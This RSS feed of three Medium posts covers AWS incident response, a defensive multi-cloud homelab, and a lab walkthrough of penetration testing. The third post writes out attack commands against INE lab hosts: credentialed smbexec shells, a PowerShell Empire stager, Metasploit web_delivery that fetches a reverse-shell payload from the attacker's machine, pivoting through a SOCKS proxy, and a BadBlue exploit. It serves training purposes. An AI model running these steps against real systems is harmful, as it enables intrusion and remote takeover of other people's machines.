<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by tanishq j on Medium]]></title>
        <description><![CDATA[Stories by tanishq j on Medium]]></description>
        <link>https://medium.com/@tanishqj8816?source=rss-3a3de2b803e4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*x0JFAkBpbl6Lf4iv</url>
            <title>Stories by tanishq j on Medium</title>
            <link>https://medium.com/@tanishqj8816?source=rss-3a3de2b803e4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 03:58:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tanishqj8816/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ AWS Incident Response: Key Strategies and My Multicloud Homelab]]></title>
            <link>https://medium.com/@tanishqj8816/aws-incident-response-key-strategies-and-my-multicloud-homelab-8ce72bf1d119?source=rss-3a3de2b803e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ce72bf1d119</guid>
            <dc:creator><![CDATA[tanishq j]]></dc:creator>
            <pubDate>Tue, 03 Jun 2025 14:05:00 GMT</pubDate>
            <atom:updated>2025-06-03T14:05:00.587Z</atom:updated>
            <content:encoded><![CDATA[<p>Cloud environments are complex, but understanding how to scope, detect, and respond to incidents is key to keeping them secure.</p><p>This blog is a walkthrough of <strong>what I look for during incident response in AWS</strong>, and how I’ve <strong>incorporated these concepts into my Multicloud Homelab</strong> for hands-on learning and experimentation.</p><h3>🔎 What I Look for During Incident Response in AWS</h3><h3>🗝️ Access Key IDs (AKIA, ASIA, and AGPA)</h3><p>Every AWS API call includes an Access Key ID — unique for each credential:</p><ul><li><strong>AKIA</strong> – Long-term user access keys (persistent).</li><li><strong>ASIA</strong> – Temporary session keys, often used with roles.</li><li><strong>AGPA</strong> – AWS-generated service credentials (less common).</li></ul><p>Monitoring these is critical for tracing incidents:</p><ul><li><strong>AKIA</strong> keys, if compromised, can provide persistent unauthorized access.</li><li><strong>ASIA</strong> keys indicate temporary session use and potential role assumption attacks.</li></ul><h3>👤 Principal IDs</h3><p>Provides a fingerprint for tracing activity across assumed roles and sessions.</p><h3>📚 Logs and Resource Tagging</h3><p>Combining <strong>CloudTrail, VPC Flow Logs, and GuardDuty</strong> with <strong>strict tagging</strong> (Owner, Environment, DataClassification) ensures a fuller picture during investigations.</p><h3>🔬 Integrating Incident Response Into My Multicloud Homelab</h3><p>My lab mirrors hybrid environments:</p><ul><li><strong>AWS</strong> — Vulnerable workloads, IAM setups, CloudTrail logging.</li><li><strong>Azure &amp; GCP</strong> — Simulate hybrid attacks and cross-cloud response.</li><li><strong>On-Prem (Proxmox)</strong> — For real-world scenarios and bridging legacy systems.</li></ul><h3>Key Tools:</h3><ul><li><strong>CloudWatch, Azure Monitor, Elastic Stack</strong> for centralized monitoring.</li><li><strong>Terraform</strong> for consistent IaC across clouds.</li><li><strong>Automated responses</strong> with Lambda and Functions (future integration).</li></ul><h3>🛠️ Ready-to-Run Terraform Lab</h3><p>I’ve open-sourced my <strong>Terraform multicloud lab</strong> that sets up resources in AWS, Azure, and GCP:<br> 👉 <a href="https://github.com/tanishq200/multicloud-incident-response-lab">GitHub Repo: tanishq200/multicloud-incident-response-lab</a></p><p>The repo includes:<br> ✅ CloudTrail, IAM, and S3 bucket setup for AWS<br> ✅ Azure Resource Group setup<br> ✅ GCP Storage bucket configuration<br> ✅ Clean and simple README to guide deployment</p><h3>💡 Key Takeaways</h3><ul><li><strong>Layered Monitoring Is Essential</strong>: Combine logs, tagging, and flow analysis.</li><li><strong>Key Vigilance</strong>: Watch AKIA and ASIA usage closely.</li><li><strong>Automation Plans Ahead</strong>: Even basic resource setups lay the foundation for advanced security tooling later.</li><li><strong>Practice Across Clouds</strong>: Hybrid environments are the new normal.</li></ul><p>If you’re considering building your own homelab, take these lessons and adapt them to your learning journey — you’ll be glad you did.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ce72bf1d119" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ Building My Multi-Cloud Home lab: From Ground Zero to Unified Detection]]></title>
            <link>https://medium.com/@tanishqj8816/%EF%B8%8F-building-my-multi-cloud-home-lab-from-ground-zero-to-unified-detection-f7b8719ecce1?source=rss-3a3de2b803e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7b8719ecce1</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[multi-cloud-security]]></category>
            <category><![CDATA[gcp]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[homelab]]></category>
            <dc:creator><![CDATA[tanishq j]]></dc:creator>
            <pubDate>Tue, 20 May 2025 00:05:39 GMT</pubDate>
            <atom:updated>2025-05-20T00:05:39.830Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How I simulated a hybrid cloud security environment to test detection, response, and forensics workflows — without breaking the bank.</em></p><h3>🚀 Introduction</h3><p>After months of iteration, misconfigurations, broken setups, and eventual breakthroughs, I’ve successfully built a <strong>multi-cloud homelab</strong> that mirrors the complexity of modern enterprise environments. It spans across <strong>GCP</strong>, <strong>Azure</strong>, <strong>AWS</strong>, and a local <strong>Proxmox</strong> instance — all stitched together with <strong>Tailscale VPN</strong> to simulate hybrid infrastructure scenarios.</p><p>This write-up isn’t just about architecture. It’s about solving real-world detection challenges, dealing with broken log pipelines, and building a lab that supports <strong>blue team operations</strong>, <strong>forensic analysis</strong>, and <strong>threat detection engineering</strong>.</p><h3>🌐 Why a Multi-Cloud Setup?</h3><p>Most security labs are limited to a single cloud or VM. But real enterprises don’t work that way.</p><p>Modern infrastructures are hybrid. Assets live in GCP, AWS, and Azure. Traffic is routed through VPNs. Logs go to a central SIEM. And blue teams need visibility across it all.</p><p>This homelab was designed to emulate:</p><ul><li><strong>Multi-cloud asset exposure</strong></li><li><strong>Secure traffic flow via VPN (Tailscale)</strong></li><li><strong>Centralized monitoring and detection</strong></li><li><strong>Dedicated air-gapped blue team analysis station</strong></li></ul><p>In short: a complete <strong>defensive operations playground</strong>.</p><h3>🧱 Homelab Architecture Overview</h3><h3>🔹 GCP VM (Internet-Facing)</h3><ul><li><strong>OS:</strong> Debian</li><li><strong>Apps:</strong> DVWA + Suricata</li><li><strong>Purpose:</strong> Simulates a vulnerable, public-facing application</li><li><strong>Monitoring:</strong> Filebeat + Suricata → Log Collector via Tailscale</li></ul><h3>🟧 Azure VM (Internal Only)</h3><ul><li><strong>OS:</strong> Ubuntu</li><li><strong>Apps:</strong> OWASP Juice Shop + Suricata</li><li><strong>Access:</strong> Internal only via Tailscale</li><li><strong>Goal:</strong> Simulate east-west traffic and lateral movement</li></ul><h3>🟠 AWS VM (Windows Server)</h3><ul><li><strong>OS:</strong> Windows Server</li><li><strong>Tools:</strong> Wazuh Agent, Filebeat OSS, Event Log Forwarding</li><li><strong>Purpose:</strong> Mimics enterprise workloads with real log telemetry</li></ul><h3>⚫ Log Collector VM (Proxmox)</h3><ul><li><strong>Role:</strong> Central logging and detection hub</li><li><strong>Connected to:</strong> All cloud VMs via Tailscale</li><li><strong>Runs:</strong> Logstash, Elasticsearch, Wazuh Manager</li></ul><h3>🧠 Blue Team VM (Proxmox, Isolated)</h3><ul><li><strong>Network:</strong> Isolated from all other VMs</li><li><strong>Data Ingestion:</strong> Manually pulls logs from Log Collector</li><li><strong>Tools Installed:</strong></li><li>Wazuh Dashboard</li><li>Wireshark, Volatility</li><li>Zeek, YARA, CyberChef</li><li>Sigma testing environment</li><li>Sysmon Log Analyzer</li><li><strong>Purpose:</strong> Safe zone for forensics and post-compromise investigations</li></ul><h3>🔐 Trust Boundaries &amp; Network Design</h3><p>Security was baked in from the start:</p><ul><li><strong>Tailscale VPN</strong>: Connects cloud VMs and log collector</li><li><strong>Blue Team VM is fully air-gapped</strong></li><li><strong>Only GCP VM is exposed to the Internet</strong></li></ul><p>This segmentation mirrors enterprise zero-trust environments where blast radius is minimized.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VlGeqyhNmhfxEHhEW615ZA.png" /></figure><h3>🔍 Real-World Detection Engineering Use Cases</h3><h3>🔸 Filebeat OSS vs Elastic Licensing</h3><p>Elastic’s licensing limitations blocked features in the default Filebeat. Switched to <strong>OSS version 7.10.2</strong> from Wazuh’s repository to regain full pipeline control.</p><h3>🔸 The @timestamp Issue</h3><p>Logs showed up in Elasticsearch but not in Kibana Discover view. Turns out @timestamp was missing.</p><p>Quick fix via reindexing:</p><pre>POST _reindex<br>{<br>  &quot;source&quot;: { &quot;index&quot;: &quot;wazuh-alerts-4.x-*&quot; },<br>  &quot;dest&quot;: { &quot;index&quot;: &quot;wazuh-alerts-with-timestamp&quot; },<br>  &quot;script&quot;: {<br>    &quot;lang&quot;: &quot;painless&quot;,<br>    &quot;source&quot;: &quot;&quot;&quot;<br>      if (ctx._source.containsKey(&#39;timestamp&#39;)) {<br>        ctx._source[&#39;@timestamp&#39;] = ctx._source.timestamp;<br>      }<br>    &quot;&quot;&quot;<br>  }<br>}</pre><h3>🔸 Windows Logs Not Appearing</h3><p>Despite the Wazuh agent being healthy, Windows logs weren’t showing. After some head-scratching, the issue was traced to a firewall rule silently blocking <strong>port 5044</strong>.</p><p>Fix:</p><pre>New-NetFirewallRule -DisplayName &quot;AllowLogstash&quot; -Direction Outbound -LocalPort 5044 -Protocol TCP -Action Allow</pre><h3>🧪 Lab Use Cases in Action</h3><h3>🔍 Use Case: Detecting Web Shells</h3><ol><li><strong>Suricata triggers alert</strong> on suspicious POST traffic to DVWA</li><li><strong>Wazuh detects file changes</strong> in /var/www/html</li><li><strong>Sigma rule fires</strong> in Elasticsearch</li><li><strong>Blue Team VM pulls memory dump</strong></li><li><strong>Volatility confirms code injection</strong></li><li><strong>Case escalated in TheHive</strong></li></ol><p>The full <strong>detection → investigation → containment</strong> cycle, all within the lab.</p><h3>📦 What’s Next?</h3><h3>✅ Done</h3><ul><li>Central log pipeline setup</li><li>Suricata on all cloud VMs</li><li>Blue team analysis tools deployed</li></ul><h3>🔜 Upcoming</h3><ul><li>Integrate <strong>Atomic Red Team</strong> for threat simulation</li><li>Automate deployments with <strong>Terraform + Ansible</strong></li><li>Add <strong>TheHive + Cortex</strong> for incident management</li><li>Develop and test custom <strong>Sigma rules</strong></li><li>Build detection for <strong>cloud metadata API abuse</strong></li></ul><h3>💬 Final Thoughts</h3><p>This lab isn’t just about building cool setups. It’s about:</p><ul><li>Gaining <strong>real-world detection skills</strong></li><li>Understanding how telemetry flows across hybrid environments</li><li>Practicing forensics in a safe but realistic space</li></ul><p>If you’re just starting out: begin with <strong>one cloud VM, Suricata, and Filebeat</strong>. Expand gradually. The goal isn’t perfection — it’s iteration, experimentation, and learning.</p><p>💬 <strong>Are you building a security lab too?</strong> Let’s connect and trade ideas.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7b8719ecce1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Leveraging PowerShell for penetration testing]]></title>
            <link>https://medium.com/@tanishqj8816/leveraging-powershell-for-penetration-testing-1eb89538faf4?source=rss-3a3de2b803e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/1eb89538faf4</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ecppt]]></category>
            <category><![CDATA[powershell-empire]]></category>
            <dc:creator><![CDATA[tanishq j]]></dc:creator>
            <pubDate>Mon, 24 Jun 2024 20:10:45 GMT</pubDate>
            <atom:updated>2024-06-24T20:10:45.717Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, we will explore how to leverage PowerShell for penetration testing, specifically focusing on identifying and exploiting vulnerabilities in an internet-facing system. This guide will walk you through using PowerShell effectively, from initial reconnaissance to executing commands on a compromised system. Note that the IP addresses and port numbers mentioned will vary in different scenarios, so adjust accordingly.</p><h4>Task 1: Identifying Vulnerabilities and Gaining Access</h4><p><strong>Step 1: Initial Reconnaissance</strong> Start by conducting a port scan on the target system using Nmap. For example, if your target is demo.ine.local, run:</p><pre>nmap demo.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4EIJmbGQq6kJKj3H8R0Bpg.png" /></figure><p>This scan will reveal open ports, providing an entry point for further exploration. If direct access to another machine, such as fileserver.ine.local, is blocked, this confirms that you must use an intermediary machine as a pivot.</p><p><strong>Step 2: Deep Scanning</strong> To find all possible entry points, scan all 65,535 TCP ports:</p><pre>nmap -p- demo.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxL4Hla6tU5NiEaWBZn1Qg.png" /></figure><p>Due to the lengthy process, consider scanning in smaller ranges, such as:</p><pre>nmap -p 1-5000 demo.ine.local<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChCamVmKVTTPNw4T0W8d8A.png" /></figure><p><strong>Step 3: Service Enumeration</strong> Focus on interesting ports revealed by the scan. For instance, port 4983 appears suspicious, perform a service scan:</p><pre>nmap -sV -p 4983 demo.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-_ouXViAbIv6Aut0MBo8TA.png" /></figure><p>It reveals an HTTP service, visit the web page to look for credentials or other useful information.</p><p><strong>Step 4: Gaining Shell Access</strong> With credentials from the web page, use smbexec.py from the Impacket toolkit to execute commands:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LZDTLF2alaBKMajgSWZPwA.png" /></figure><pre>smbexec.py &#39;Administrator:password@demo.ine.local&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3zrDeOziJ8WD0R3yIYgjHg.png" /></figure><p>This provides a semi-interactive shell on the target machine. Verify your access with:</p><pre>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aJYpecNZYx6BTZv2_wkQ5g.png" /></figure><p><strong>Step 5: Network Reconnaissance</strong> Check the network configuration of the compromised machine:</p><pre>ipconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bSwmWZ0ZPUZZoX--aSORSw.png" /></figure><p>Ping the secondary target to confirm connectivity:</p><pre>ping fileserver.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e_s2wkeNOceB1uKjo61Rvw.png" /></figure><p>If successful, you can use the compromised machine to attack fileserver.ine.local.</p><h4>Task 2: Using Empire to Maintain Access</h4><p><strong>Step 6: Setting Up Empire</strong> Start the PowerShell Empire server:</p><pre>powershell-empire server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EaBoSiJOQAUIfZ4POtDs7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j2F0C73I_tUS9eSDMWPs0g.png" /></figure><p>Next, start the Empire client in a new terminal and configure an HTTP listener:</p><pre>(Empire) &gt; uselistener http<br>set Host 10.10.15.2<br>set Port 8888<br>execute</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FuaSZi8reX7BDZjHyVbtfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k9bVxTaZQeF6aYmrPfCmJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*_QgtUar2bBaTW0t_W0y4kQ.png" /></figure><p><strong>Step 7: Generating and Deploying a Stager</strong> Generate a stager that will connect back to the Empire listener:</p><pre>usestager multi/launcher<br>set Listener http<br>execute</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YpBCQmUiyw8gyg7EF_hDzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UttSTu6WDrFQ3YB6z2SkQQ.png" /></figure><p>Copy the generated PowerShell command and execute it on the target using the previously obtained shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-av9bQZQ333m8Cpz7oE2WA.png" /></figure><p><strong>Step 8: Interacting with the Empire Agent</strong> Once the agent connects back, interact with it:</p><pre>(Empire) &gt; agents<br>interact [agent_name]<br>usemodule powershell/situational_awareness/network/port_scan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VFaq1viLMAleAveosbO4cA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YhkxNqjQzjZqDQFFrRgEqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NiM3bL9MemUfVRTYNPCA9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eLA8xdQII00BKSwd87ZZ8g.png" /></figure><p>This gathers detailed information about the target system.</p><h4>Task 3: Pivoting to a Second System</h4><p><strong>Step 9: Transitioning to Metasploit</strong> Transfer the Empire agent to Metasploit for advanced exploitation. Start by setting up the web_delivery module in Metasploit:</p><pre>msfconsole<br>use exploit/multi/script/web_delivery<br>set target 2<br>set SRVHOST 10.10.15.2<br>set payload windows/meterpreter/reverse_tcp<br>set LHOST 10.10.15.2<br>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6jsre4MXVu6q9sjHT2Ggzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbNsaBNvyGvbNqvTqVZYLA.png" /></figure><p>We’re going to use the URL identified by the “Using URL:” message in the above web_delivery module output.</p><pre>http://10.10.15.2:8080/E8tlUIOl</pre><p>Back at our Empire C2, in order to pass our agent to metasploit, we need to load the “invoke_metasploitpayload” module.</p><pre>usemodule powershell/code_execution/invoke_metasploitpayload</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5L-6068QHk_rI7kMOhI7Jw.png" /></figure><p>We then configure the “URL” value to be that of our metasploit web delivery URL and assign the stager to an Active agent in Empire, and finally, when that is complete, we can use the “Execute” command.</p><pre>set URL &lt;http://10.10.15.2:8080/E8tlUIOl&gt;<br>execute</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5JacbBHHaz0wbsI-O_ZP7A.png" /></figure><p>Upon doing that, our Metasploit handler has now received a connection from the agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6XLYHWjYxv5JrMPZXoX5Xg.png" /></figure><p><strong>Step 10: Configuring Metasploit for Pivoting</strong> Use the autoroute module to route traffic through the compromised host:</p><pre>use post/multi/manage/autoroute<br>set SESSION 1<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*woVc73WbqOb3FzwTEJVMRw.png" /></figure><p>Then set up a SOCKS proxy to tunnel traffic through the compromised machine:</p><pre>use auxiliary/server/socks_proxy<br>set SRVHOST 10.10.15.2<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EwgXV9NW-DsUxZ-NrRjdiQ.png" /></figure><p>Next, after configuring the socks proxy module, we need to configure our browser to use our socks5 proxy.</p><p>Open <strong>Settings</strong> in the Firefox browser and search for <strong>proxy</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H_naqQjvC3lMgbCjIwfLWA.png" /></figure><p>Then select <strong>Network Settings</strong> to open the <strong>connection settings</strong>. Select SOCKS Host and provide IP address of the Kali machine and port as 1080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L42QI69u8tf_hzCRNyEgOg.png" /></figure><p>Open another tab in the firefox. We should able to browse to fileserver.ine.local machine and we observe that BadBlue enterprise edition is running on the remote machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VwzH6uaIN31WgxSOmKV-Dg.png" /></figure><p><strong>Step 11: Exploiting the Second Machine</strong> Configure your browser to use the SOCKS proxy and browse to the second machine. Use Metasploit to exploit vulnerabilities in fileserver.ine.local:</p><pre>search badblue<br>use exploit/windows/http/badblue_passthru<br>set RHOSTS fileserver.ine.local<br>set PAYLOAD windows/meterpreter/bind_tcp<br>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hD1jq3mkWCaEhb4ZXQ6x0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pE1c4BrxusSLYiGnpCRJSg.png" /></figure><p>Check the contents of the system to find the flag:</p><pre>pwd<br>ls<br>cat flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*upi0bcBe9Vo7O35wHI1VVA.png" /></figure><p>By following these steps, you can effectively leverage PowerShell for penetration testing, gaining and maintaining access to target systems.</p><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1eb89538faf4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>